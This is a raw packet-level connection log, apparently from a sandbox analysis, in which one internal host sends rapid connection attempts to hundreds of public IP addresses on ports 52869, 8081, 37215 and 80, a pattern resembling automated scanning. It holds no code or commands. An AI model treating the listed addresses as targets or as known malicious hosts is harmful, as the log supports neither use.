Jul 20, 2024 23:05:43.033528090 CEST	52869	43695	119.77.177.88	192.168.2.13
Jul 20, 2024 23:05:43.033529043 CEST	80	21679	95.201.141.249	192.168.2.13
Jul 20, 2024 23:05:43.033534050 CEST	52869	43695	162.170.139.39	192.168.2.13
Jul 20, 2024 23:05:43.033535957 CEST	8081	53164	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.033544064 CEST	52869	43695	138.82.111.150	192.168.2.13
Jul 20, 2024 23:05:43.033549070 CEST	80	21679	95.75.197.198	192.168.2.13
Jul 20, 2024 23:05:43.034424067 CEST	43695	52869	192.168.2.13	172.118.133.193
Jul 20, 2024 23:05:43.034424067 CEST	43439	8081	192.168.2.13	50.141.93.124
Jul 20, 2024 23:05:43.034424067 CEST	43439	8081	192.168.2.13	190.79.60.170
Jul 20, 2024 23:05:43.034424067 CEST	43439	8081	192.168.2.13	80.13.235.196
Jul 20, 2024 23:05:43.034424067 CEST	43695	52869	192.168.2.13	36.41.128.172
Jul 20, 2024 23:05:43.034424067 CEST	43695	52869	192.168.2.13	117.149.102.232
Jul 20, 2024 23:05:43.034424067 CEST	43695	52869	192.168.2.13	216.185.149.14
Jul 20, 2024 23:05:43.034424067 CEST	43695	52869	192.168.2.13	191.84.106.175
Jul 20, 2024 23:05:43.034557104 CEST	43695	52869	192.168.2.13	199.162.235.142
Jul 20, 2024 23:05:43.034557104 CEST	43695	52869	192.168.2.13	116.34.173.44
Jul 20, 2024 23:05:43.034557104 CEST	44719	37215	192.168.2.13	157.231.16.246
Jul 20, 2024 23:05:43.034557104 CEST	43695	52869	192.168.2.13	72.122.238.33
Jul 20, 2024 23:05:43.034557104 CEST	43695	52869	192.168.2.13	42.62.239.222
Jul 20, 2024 23:05:43.034557104 CEST	43439	8081	192.168.2.13	109.157.195.189
Jul 20, 2024 23:05:43.035132885 CEST	21679	80	192.168.2.13	95.234.57.122
Jul 20, 2024 23:05:43.036458015 CEST	41110	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.036458015 CEST	21679	80	192.168.2.13	95.120.178.191
Jul 20, 2024 23:05:43.037343979 CEST	43695	52869	192.168.2.13	104.141.140.56
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	163.129.254.74
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	151.217.231.238
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	171.32.248.17
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	223.88.3.243
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	80.104.78.242
Jul 20, 2024 23:05:43.037343979 CEST	43439	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:43.038297892 CEST	43695	52869	192.168.2.13	107.157.186.209
Jul 20, 2024 23:05:43.038299084 CEST	57434	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:43.038299084 CEST	43695	52869	192.168.2.13	188.34.68.170
Jul 20, 2024 23:05:43.038299084 CEST	43695	52869	192.168.2.13	9.215.167.76
Jul 20, 2024 23:05:43.038391113 CEST	43439	8081	192.168.2.13	131.187.72.75
Jul 20, 2024 23:05:43.038391113 CEST	43439	8081	192.168.2.13	168.91.254.103
Jul 20, 2024 23:05:43.038391113 CEST	43695	52869	192.168.2.13	63.51.207.123
Jul 20, 2024 23:05:43.038392067 CEST	43695	52869	192.168.2.13	8.115.233.44
Jul 20, 2024 23:05:43.038392067 CEST	43439	8081	192.168.2.13	112.228.235.189
Jul 20, 2024 23:05:43.038392067 CEST	43695	52869	192.168.2.13	65.254.21.56
Jul 20, 2024 23:05:43.038392067 CEST	43439	8081	192.168.2.13	217.184.27.142
Jul 20, 2024 23:05:43.038392067 CEST	43439	8081	192.168.2.13	48.164.38.44
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	148.141.121.169
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	206.40.243.11
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	103.49.145.60
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	45.218.132.156
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	221.189.93.168
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	171.56.186.226
Jul 20, 2024 23:05:43.038909912 CEST	43695	52869	192.168.2.13	166.149.13.89
Jul 20, 2024 23:05:43.039016008 CEST	43695	52869	192.168.2.13	36.34.17.225
Jul 20, 2024 23:05:43.039016008 CEST	43695	52869	192.168.2.13	12.74.148.91
Jul 20, 2024 23:05:43.039016008 CEST	43439	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:43.039016008 CEST	43439	8081	192.168.2.13	94.215.224.62
Jul 20, 2024 23:05:43.039016008 CEST	43439	8081	192.168.2.13	4.17.231.30
Jul 20, 2024 23:05:43.039016008 CEST	43439	8081	192.168.2.13	162.170.48.58
Jul 20, 2024 23:05:43.039016008 CEST	43439	8081	192.168.2.13	113.138.158.109
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	180.127.15.238
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	74.70.101.62
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	113.186.3.19
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	173.172.203.100
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	79.49.5.36
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	141.116.76.47
Jul 20, 2024 23:05:43.039772034 CEST	43439	8081	192.168.2.13	156.157.165.224
Jul 20, 2024 23:05:43.040577888 CEST	60396	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:43.040577888 CEST	48154	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:43.041357994 CEST	43695	52869	192.168.2.13	90.47.78.73
Jul 20, 2024 23:05:43.041358948 CEST	44258	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:43.041358948 CEST	43695	52869	192.168.2.13	169.7.169.89
Jul 20, 2024 23:05:43.041358948 CEST	43695	52869	192.168.2.13	70.101.182.16
Jul 20, 2024 23:05:43.041358948 CEST	43695	52869	192.168.2.13	87.86.69.47
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	198.187.16.149
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	118.46.63.51
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	163.33.82.160
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	199.184.77.246
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	36.6.210.27
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	74.190.77.77
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	223.185.221.60
Jul 20, 2024 23:05:43.042712927 CEST	43439	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	53.214.210.210
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	41.187.93.64
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	205.22.186.0
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	45.9.49.220
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	124.59.243.113
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	169.83.46.3
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	197.225.48.105
Jul 20, 2024 23:05:43.043845892 CEST	43439	8081	192.168.2.13	158.175.68.21
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	133.255.29.217
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	128.96.85.145
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	194.234.76.132
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	88.64.39.107
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	113.105.40.23
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	18.128.72.168
Jul 20, 2024 23:05:43.044032097 CEST	43439	8081	192.168.2.13	62.44.237.32
Jul 20, 2024 23:05:43.044569969 CEST	21679	80	192.168.2.13	95.201.141.249
Jul 20, 2024 23:05:43.045445919 CEST	43695	52869	192.168.2.13	83.8.157.145
Jul 20, 2024 23:05:43.045445919 CEST	43439	8081	192.168.2.13	79.56.222.111
Jul 20, 2024 23:05:43.045445919 CEST	43439	8081	192.168.2.13	161.246.148.112
Jul 20, 2024 23:05:43.045445919 CEST	43439	8081	192.168.2.13	175.82.60.87
Jul 20, 2024 23:05:43.045445919 CEST	43439	8081	192.168.2.13	49.41.142.170
Jul 20, 2024 23:05:43.045445919 CEST	43439	8081	192.168.2.13	54.82.85.252
Jul 20, 2024 23:05:43.045445919 CEST	43439	8081	192.168.2.13	212.57.53.188
Jul 20, 2024 23:05:43.046236038 CEST	43695	52869	192.168.2.13	43.204.75.0
Jul 20, 2024 23:05:43.046236038 CEST	34442	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:43.046612978 CEST	43695	52869	192.168.2.13	186.141.229.186
Jul 20, 2024 23:05:43.046612978 CEST	43695	52869	192.168.2.13	12.12.122.183
Jul 20, 2024 23:05:43.046612978 CEST	43439	8081	192.168.2.13	170.155.32.1
Jul 20, 2024 23:05:43.046612978 CEST	43439	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:43.046612978 CEST	43439	8081	192.168.2.13	163.63.170.97
Jul 20, 2024 23:05:43.046612978 CEST	43439	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.046612978 CEST	43439	8081	192.168.2.13	73.40.23.176
Jul 20, 2024 23:05:43.046612978 CEST	43439	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	197.218.31.250
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	24.112.179.33
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	105.13.48.245
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	185.177.75.86
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	50.181.110.97
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	188.86.150.157
Jul 20, 2024 23:05:43.048365116 CEST	43439	8081	192.168.2.13	84.204.195.22
Jul 20, 2024 23:05:43.048768997 CEST	21679	80	192.168.2.13	95.203.56.1
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	39.220.179.203
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	18.178.234.216
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	149.254.125.64
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	100.250.253.37
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	58.113.54.112
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:43.048885107 CEST	43439	8081	192.168.2.13	66.126.223.53
Jul 20, 2024 23:05:43.049973011 CEST	43695	52869	192.168.2.13	122.42.21.233
Jul 20, 2024 23:05:43.049973965 CEST	43695	52869	192.168.2.13	57.185.124.210
Jul 20, 2024 23:05:43.049973965 CEST	43695	52869	192.168.2.13	176.250.104.166
Jul 20, 2024 23:05:43.050174952 CEST	43439	8081	192.168.2.13	153.125.50.40
Jul 20, 2024 23:05:43.050174952 CEST	43439	8081	192.168.2.13	13.194.168.44
Jul 20, 2024 23:05:43.050175905 CEST	43439	8081	192.168.2.13	221.118.89.123
Jul 20, 2024 23:05:43.050175905 CEST	43439	8081	192.168.2.13	1.237.202.8
Jul 20, 2024 23:05:43.050175905 CEST	32884	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.050175905 CEST	32884	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	1.169.175.62
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	31.166.135.218
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	130.239.126.59
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	120.108.46.247
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	171.225.113.156
Jul 20, 2024 23:05:43.050259113 CEST	43439	8081	192.168.2.13	164.161.253.110
Jul 20, 2024 23:05:43.051115990 CEST	43439	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.051116943 CEST	54692	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.052822113 CEST	43439	8081	192.168.2.13	177.92.132.163
Jul 20, 2024 23:05:43.052822113 CEST	43439	8081	192.168.2.13	219.17.98.106
Jul 20, 2024 23:05:43.052822113 CEST	43439	8081	192.168.2.13	37.177.22.199
Jul 20, 2024 23:05:43.052822113 CEST	43439	8081	192.168.2.13	163.100.187.60
Jul 20, 2024 23:05:43.052823067 CEST	43439	8081	192.168.2.13	200.3.27.230
Jul 20, 2024 23:05:43.052823067 CEST	43439	8081	192.168.2.13	210.77.91.240
Jul 20, 2024 23:05:43.052823067 CEST	43439	8081	192.168.2.13	178.118.11.0
Jul 20, 2024 23:05:43.052823067 CEST	43439	8081	192.168.2.13	218.17.102.183
Jul 20, 2024 23:05:43.053078890 CEST	21679	80	192.168.2.13	95.97.247.205
Jul 20, 2024 23:05:43.053078890 CEST	21679	80	192.168.2.13	95.176.198.253
Jul 20, 2024 23:05:43.053252935 CEST	21679	80	192.168.2.13	95.138.20.220
Jul 20, 2024 23:05:43.053252935 CEST	43695	52869	192.168.2.13	25.59.71.80
Jul 20, 2024 23:05:43.054636955 CEST	43439	8081	192.168.2.13	12.125.91.136
Jul 20, 2024 23:05:43.054636955 CEST	43439	8081	192.168.2.13	23.148.119.156
Jul 20, 2024 23:05:43.054636955 CEST	43439	8081	192.168.2.13	189.228.47.46
Jul 20, 2024 23:05:43.054636955 CEST	43439	8081	192.168.2.13	175.73.122.191
Jul 20, 2024 23:05:43.054735899 CEST	21679	80	192.168.2.13	95.81.58.25
Jul 20, 2024 23:05:43.054735899 CEST	43695	52869	192.168.2.13	147.13.231.81
Jul 20, 2024 23:05:43.054735899 CEST	43695	52869	192.168.2.13	148.183.234.226
Jul 20, 2024 23:05:43.054735899 CEST	43695	52869	192.168.2.13	126.7.5.219
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	65.123.163.157
Jul 20, 2024 23:05:43.054735899 CEST	43695	52869	192.168.2.13	190.168.154.6
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	201.214.110.248
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	130.1.163.109
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	170.146.252.196
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	202.222.198.119
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	143.137.54.158
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	34.6.74.76
Jul 20, 2024 23:05:43.054739952 CEST	43439	8081	192.168.2.13	207.35.85.250
Jul 20, 2024 23:05:43.055257082 CEST	21679	80	192.168.2.13	95.105.24.228
Jul 20, 2024 23:05:43.055257082 CEST	43695	52869	192.168.2.13	9.197.141.155
Jul 20, 2024 23:05:43.055257082 CEST	43695	52869	192.168.2.13	12.74.40.184
Jul 20, 2024 23:05:43.055257082 CEST	43695	52869	192.168.2.13	136.105.164.67
Jul 20, 2024 23:05:43.055257082 CEST	43695	52869	192.168.2.13	207.232.162.63
Jul 20, 2024 23:05:43.055257082 CEST	43695	52869	192.168.2.13	126.133.64.217
Jul 20, 2024 23:05:43.056165934 CEST	43439	8081	192.168.2.13	113.63.91.161
Jul 20, 2024 23:05:43.056165934 CEST	43439	8081	192.168.2.13	81.195.255.54
Jul 20, 2024 23:05:43.056165934 CEST	43439	8081	192.168.2.13	64.119.35.195
Jul 20, 2024 23:05:43.056165934 CEST	43439	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.056165934 CEST	43695	52869	192.168.2.13	212.2.16.100
Jul 20, 2024 23:05:43.057041883 CEST	21679	80	192.168.2.13	95.75.197.198
Jul 20, 2024 23:05:43.057041883 CEST	53164	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.057425022 CEST	21679	80	192.168.2.13	95.43.74.154
Jul 20, 2024 23:05:43.058227062 CEST	43695	52869	192.168.2.13	102.7.134.215
Jul 20, 2024 23:05:43.058227062 CEST	43695	52869	192.168.2.13	152.0.164.86
Jul 20, 2024 23:05:43.058227062 CEST	43695	52869	192.168.2.13	220.208.74.97
Jul 20, 2024 23:05:43.058326960 CEST	43695	52869	192.168.2.13	211.57.212.232
Jul 20, 2024 23:05:43.058326960 CEST	43695	52869	192.168.2.13	136.92.68.13
Jul 20, 2024 23:05:43.058326960 CEST	43695	52869	192.168.2.13	197.247.82.167
Jul 20, 2024 23:05:43.058526993 CEST	43695	52869	192.168.2.13	23.254.202.30
Jul 20, 2024 23:05:43.058526993 CEST	43695	52869	192.168.2.13	79.95.142.127
Jul 20, 2024 23:05:43.058526993 CEST	43695	52869	192.168.2.13	4.154.121.93
Jul 20, 2024 23:05:43.058840036 CEST	43439	8081	192.168.2.13	102.27.31.95
Jul 20, 2024 23:05:43.058840036 CEST	43439	8081	192.168.2.13	42.23.178.51
Jul 20, 2024 23:05:43.058840036 CEST	43439	8081	192.168.2.13	171.243.153.14
Jul 20, 2024 23:05:43.058840036 CEST	43439	8081	192.168.2.13	133.10.91.135
Jul 20, 2024 23:05:43.058840036 CEST	43695	52869	192.168.2.13	179.175.62.202
Jul 20, 2024 23:05:43.059756994 CEST	43695	52869	192.168.2.13	51.21.238.125
Jul 20, 2024 23:05:43.059756994 CEST	43695	52869	192.168.2.13	72.7.157.55
Jul 20, 2024 23:05:43.059756994 CEST	43695	52869	192.168.2.13	13.122.171.86
Jul 20, 2024 23:05:43.059756994 CEST	43695	52869	192.168.2.13	205.57.7.246
Jul 20, 2024 23:05:43.059870958 CEST	43695	52869	192.168.2.13	209.44.149.220
Jul 20, 2024 23:05:43.059871912 CEST	43695	52869	192.168.2.13	104.147.63.128
Jul 20, 2024 23:05:43.059871912 CEST	43695	52869	192.168.2.13	113.139.176.10
Jul 20, 2024 23:05:43.059871912 CEST	43695	52869	192.168.2.13	177.124.46.187
Jul 20, 2024 23:05:43.059871912 CEST	43695	52869	192.168.2.13	54.226.216.136
Jul 20, 2024 23:05:43.059871912 CEST	43695	52869	192.168.2.13	190.135.172.134
Jul 20, 2024 23:05:43.059871912 CEST	43695	52869	192.168.2.13	59.134.246.58
Jul 20, 2024 23:05:43.059931993 CEST	21679	80	192.168.2.13	95.18.104.115
Jul 20, 2024 23:05:43.059931993 CEST	21679	80	192.168.2.13	95.78.169.218
Jul 20, 2024 23:05:43.060519934 CEST	43695	52869	192.168.2.13	92.70.112.120
Jul 20, 2024 23:05:43.060519934 CEST	43695	52869	192.168.2.13	70.144.22.153
Jul 20, 2024 23:05:43.060519934 CEST	21679	80	192.168.2.13	95.173.216.42
Jul 20, 2024 23:05:43.060519934 CEST	43695	52869	192.168.2.13	188.144.0.144
Jul 20, 2024 23:05:43.060857058 CEST	43695	52869	192.168.2.13	218.143.209.9
Jul 20, 2024 23:05:43.060857058 CEST	43695	52869	192.168.2.13	60.254.158.250
Jul 20, 2024 23:05:43.060857058 CEST	43695	52869	192.168.2.13	180.246.19.38
Jul 20, 2024 23:05:43.060857058 CEST	21679	80	192.168.2.13	95.245.162.53
Jul 20, 2024 23:05:43.060857058 CEST	43695	52869	192.168.2.13	120.54.121.65
Jul 20, 2024 23:05:43.061743975 CEST	21679	80	192.168.2.13	95.47.107.232
Jul 20, 2024 23:05:43.061743975 CEST	43695	52869	192.168.2.13	144.82.141.52
Jul 20, 2024 23:05:43.061743975 CEST	43695	52869	192.168.2.13	117.19.75.70
Jul 20, 2024 23:05:43.061789989 CEST	43695	52869	192.168.2.13	48.251.54.82
Jul 20, 2024 23:05:43.061789989 CEST	43695	52869	192.168.2.13	117.185.79.10
Jul 20, 2024 23:05:43.061789989 CEST	21679	80	192.168.2.13	95.220.124.217
Jul 20, 2024 23:05:43.061789989 CEST	43695	52869	192.168.2.13	165.67.246.17
Jul 20, 2024 23:05:43.061789989 CEST	43695	52869	192.168.2.13	82.33.248.18
Jul 20, 2024 23:05:43.062150955 CEST	21679	80	192.168.2.13	95.198.207.31
Jul 20, 2024 23:05:43.062151909 CEST	56426	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:43.062242031 CEST	43695	52869	192.168.2.13	140.191.78.1
Jul 20, 2024 23:05:43.062242031 CEST	43695	52869	192.168.2.13	117.184.57.121
Jul 20, 2024 23:05:43.062242031 CEST	43695	52869	192.168.2.13	2.106.120.34
Jul 20, 2024 23:05:43.062242031 CEST	21679	80	192.168.2.13	95.134.182.177
Jul 20, 2024 23:05:43.062242031 CEST	47198	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:43.062242031 CEST	43695	52869	192.168.2.13	44.21.255.214
Jul 20, 2024 23:05:43.063391924 CEST	43695	52869	192.168.2.13	170.241.233.70
Jul 20, 2024 23:05:43.063391924 CEST	43695	52869	192.168.2.13	107.13.79.171
Jul 20, 2024 23:05:43.063391924 CEST	37818	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:43.063391924 CEST	43695	52869	192.168.2.13	90.100.249.60
Jul 20, 2024 23:05:43.063391924 CEST	43695	52869	192.168.2.13	180.227.68.91
Jul 20, 2024 23:05:43.063467979 CEST	43695	52869	192.168.2.13	42.72.97.206
Jul 20, 2024 23:05:43.063467979 CEST	43695	52869	192.168.2.13	42.199.4.199
Jul 20, 2024 23:05:43.063467979 CEST	43695	52869	192.168.2.13	158.243.30.81
Jul 20, 2024 23:05:43.063467979 CEST	43695	52869	192.168.2.13	41.169.117.71
Jul 20, 2024 23:05:43.063467979 CEST	46406	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.063467979 CEST	43695	52869	192.168.2.13	185.229.129.7
Jul 20, 2024 23:05:43.063529015 CEST	43695	52869	192.168.2.13	139.215.208.4
Jul 20, 2024 23:05:43.063529015 CEST	43695	52869	192.168.2.13	179.105.100.104
Jul 20, 2024 23:05:43.063529015 CEST	43695	52869	192.168.2.13	195.230.178.54
Jul 20, 2024 23:05:43.063529015 CEST	21679	80	192.168.2.13	95.214.234.78
Jul 20, 2024 23:05:43.063529015 CEST	43695	52869	192.168.2.13	193.46.3.9
Jul 20, 2024 23:05:43.064019918 CEST	35442	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:43.064019918 CEST	43695	52869	192.168.2.13	100.208.53.138
Jul 20, 2024 23:05:43.064019918 CEST	43695	52869	192.168.2.13	96.245.4.158
Jul 20, 2024 23:05:43.064019918 CEST	43695	52869	192.168.2.13	45.61.142.44
Jul 20, 2024 23:05:43.064019918 CEST	43695	52869	192.168.2.13	65.176.75.115
Jul 20, 2024 23:05:43.064019918 CEST	43695	52869	192.168.2.13	41.66.176.126
Jul 20, 2024 23:05:43.064019918 CEST	43695	52869	192.168.2.13	98.41.112.97
Jul 20, 2024 23:05:43.064022064 CEST	8081	43439	120.245.6.162	192.168.2.13
Jul 20, 2024 23:05:43.064026117 CEST	52869	43695	60.147.187.163	192.168.2.13
Jul 20, 2024 23:05:43.064032078 CEST	80	46618	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:43.064037085 CEST	52869	43695	183.161.154.205	192.168.2.13
Jul 20, 2024 23:05:43.064059973 CEST	52869	43695	183.251.123.10	192.168.2.13
Jul 20, 2024 23:05:43.064062119 CEST	52869	43695	82.231.14.253	192.168.2.13
Jul 20, 2024 23:05:43.064069986 CEST	52869	43695	47.229.190.1	192.168.2.13
Jul 20, 2024 23:05:43.064080000 CEST	52869	43695	156.227.72.141	192.168.2.13
Jul 20, 2024 23:05:43.064085007 CEST	52869	43695	39.57.214.135	192.168.2.13
Jul 20, 2024 23:05:43.064086914 CEST	52869	43695	131.216.203.92	192.168.2.13
Jul 20, 2024 23:05:43.064099073 CEST	80	21679	95.129.203.17	192.168.2.13
Jul 20, 2024 23:05:43.064100981 CEST	46618	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:43.064116955 CEST	80	59526	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:43.064126015 CEST	80	21679	95.26.91.145	192.168.2.13
Jul 20, 2024 23:05:43.064127922 CEST	8081	43346	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.064138889 CEST	80	21679	95.63.120.216	192.168.2.13
Jul 20, 2024 23:05:43.064162970 CEST	8081	43439	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:43.064166069 CEST	80	21679	95.93.126.166	192.168.2.13
Jul 20, 2024 23:05:43.064181089 CEST	8081	43439	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:43.064209938 CEST	80	54968	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:43.064222097 CEST	8081	43439	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:43.064239025 CEST	8081	43439	47.44.23.215	192.168.2.13
Jul 20, 2024 23:05:43.064240932 CEST	80	60698	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:43.064246893 CEST	8081	43439	130.226.197.71	192.168.2.13
Jul 20, 2024 23:05:43.064250946 CEST	80	21679	95.73.161.139	192.168.2.13
Jul 20, 2024 23:05:43.064286947 CEST	80	21679	95.5.129.250	192.168.2.13
Jul 20, 2024 23:05:43.064302921 CEST	80	52976	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:43.064327002 CEST	80	21679	95.68.217.1	192.168.2.13
Jul 20, 2024 23:05:43.064359903 CEST	8081	43439	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:43.064390898 CEST	8081	43439	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:43.064409018 CEST	80	21679	95.144.23.155	192.168.2.13
Jul 20, 2024 23:05:43.064413071 CEST	8081	43439	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:43.064451933 CEST	80	21679	95.27.3.0	192.168.2.13
Jul 20, 2024 23:05:43.064460039 CEST	8081	43439	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:43.064462900 CEST	80	21679	95.61.185.214	192.168.2.13
Jul 20, 2024 23:05:43.064466953 CEST	80	21679	95.99.113.17	192.168.2.13
Jul 20, 2024 23:05:43.064479113 CEST	80	21679	95.219.88.62	192.168.2.13
Jul 20, 2024 23:05:43.064488888 CEST	80	21679	95.232.212.27	192.168.2.13
Jul 20, 2024 23:05:43.064515114 CEST	80	21679	95.59.100.12	192.168.2.13
Jul 20, 2024 23:05:43.064527988 CEST	8081	43439	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:43.064529896 CEST	80	21679	95.193.155.89	192.168.2.13
Jul 20, 2024 23:05:43.064541101 CEST	80	21679	95.164.42.177	192.168.2.13
Jul 20, 2024 23:05:43.064542055 CEST	80	21679	95.134.130.6	192.168.2.13
Jul 20, 2024 23:05:43.064547062 CEST	80	21679	95.154.66.63	192.168.2.13
Jul 20, 2024 23:05:43.064551115 CEST	80	21679	95.137.177.170	192.168.2.13
Jul 20, 2024 23:05:43.064557076 CEST	80	21679	95.187.144.249	192.168.2.13
Jul 20, 2024 23:05:43.064563036 CEST	8081	43439	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:43.064567089 CEST	80	21679	95.6.153.122	192.168.2.13
Jul 20, 2024 23:05:43.064569950 CEST	80	21679	95.191.157.59	192.168.2.13
Jul 20, 2024 23:05:43.064570904 CEST	80	21679	95.77.64.151	192.168.2.13
Jul 20, 2024 23:05:43.064574003 CEST	80	21679	95.179.242.234	192.168.2.13
Jul 20, 2024 23:05:43.064574957 CEST	80	33900	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:43.064584017 CEST	80	21679	95.60.54.2	192.168.2.13
Jul 20, 2024 23:05:43.064584970 CEST	80	21679	95.184.28.121	192.168.2.13
Jul 20, 2024 23:05:43.064588070 CEST	80	21679	95.53.153.134	192.168.2.13
Jul 20, 2024 23:05:43.064589977 CEST	80	57078	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:43.064595938 CEST	80	21679	95.78.134.162	192.168.2.13
Jul 20, 2024 23:05:43.064598083 CEST	80	21679	95.87.148.107	192.168.2.13
Jul 20, 2024 23:05:43.064604998 CEST	80	43402	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:43.064608097 CEST	8081	43439	68.152.129.142	192.168.2.13
